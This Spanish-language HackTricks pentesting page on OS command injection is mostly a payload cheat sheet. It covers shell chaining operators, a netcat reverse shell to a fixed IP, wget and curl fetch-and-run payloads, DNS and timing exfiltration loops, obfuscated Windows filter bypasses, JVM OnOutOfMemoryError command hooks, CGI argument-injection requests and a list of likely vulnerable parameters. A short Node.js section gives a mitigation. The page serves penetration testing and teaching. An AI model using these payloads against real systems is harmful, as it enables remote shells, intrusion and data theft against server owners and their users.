Command Injection
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
¿Qué es command Injection?
Una command injection permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden quedar completamente comprometidos. La ejecución de estos comandos suele permitir al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
Contexto
Dependiendo de dónde se esté inyectando tu entrada puede que necesites cerrar el contexto entre comillas (usando " o ') antes de los comandos.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Limitación Bypasses
Si intentas ejecutar comandos arbitrarios dentro de una máquina linux te interesará leer sobre estos Bypasses:
Ejemplos
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Parámetros
Aquí están los 25 principales parámetros que podrían ser vulnerables a code injection y a vulnerabilidades RCE similares (de link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Extrayendo datos: char by char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
Exfiltración de datos basada en DNS
Basado en la herramienta de https://github.com/HoLyVieR/dnsbin también alojada en dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Herramientas en línea para comprobar la exfiltración de datos basada en DNS:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Al auditar back-ends de JavaScript/TypeScript, a menudo te encontrarás con la API child_process de Node.js.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() lanza una shell (/bin/sh -c), por lo tanto cualquier carácter que tenga un significado especial para la shell (comillas invertidas, ;, &&, |, $(), …) resultará en command injection cuando la entrada del usuario se concatene en la cadena.
Mitigación: usa execFile() (o spawn() sin la opción shell) y proporciona cada argumento como un elemento separado del array para que no haya shell involucrada:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
No todas las inyecciones requieren metacaracteres de shell. Si la aplicación pasa cadenas no confiables como argumentos a una utilidad del sistema (incluso con execve/execFile y no usando shell), muchos programas igual interpretarán cualquier argumento que comience con - o -- como una opción. Esto permite a un atacante cambiar modos, modificar rutas de salida o activar comportamientos peligrosos sin necesidad de abrir una shell.
Typical places where this appears:
- Embedded web UIs/CGI handlers that build commands like
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, etc. - Centralized CGI routers (e.g.,
/cgi-bin/<something>.cgiwith a selector parameter liketopicurl=<handler>) where multiple handlers reuse the same weak validator.
What to try:
- Provide values that start with
-/--to be consumed as flags by the downstream tool. - Abuse flags that change behavior or write files, for example:
ping:-f/-c 100000to stress the device (DoS)curl:-o /tmp/xto write arbitrary paths,-K <url>to load attacker-controlled configtcpdump:-G 1 -W 1 -z /path/script.shto achieve post-rotate execution in unsafe wrappers- If the program supports
--end-of-options, try to bypass naive mitigations that prepend--in the wrong place.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
Callbacks de diagnóstico de JVM para ejecución garantizada
Cualquier primitiva que te permita inyectar argumentos de línea de comandos de la JVM (_JAVA_OPTIONS, archivos de configuración del launcher, campos AdditionalJavaArguments en agentes de escritorio, etc.) puede convertirse en un RCE fiable sin tocar el bytecode de la aplicación:
- Forzar un fallo determinista reduciendo metaspace o heap:
-XX:MaxMetaspaceSize=16m(o un-Xmxpequeño). Esto garantiza unOutOfMemoryErrorincluso durante el arranque temprano. - Adjuntar un hook de error:
-XX:OnOutOfMemoryError="<cmd>"o-XX:OnError="<cmd>"ejecuta un comando arbitrario del sistema operativo cada vez que la JVM aborta. - Opcionalmente añade
-XX:+CrashOnOutOfMemoryErrorpara evitar intentos de recuperación y mantener el payload de un solo uso.
Payloads de ejemplo:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Debido a que estos diagnósticos son analizados por la propia JVM, no se requieren shell metacharacters y el comando se ejecuta con el mismo nivel de integridad que el launcher. Los Desktop IPC bugs que reenvían user-supplied JVM flags (see Localhost WebSocket abuse) por lo tanto se traducen directamente en OS command execution.
Lista de detección Brute-Force
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
Referencias
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

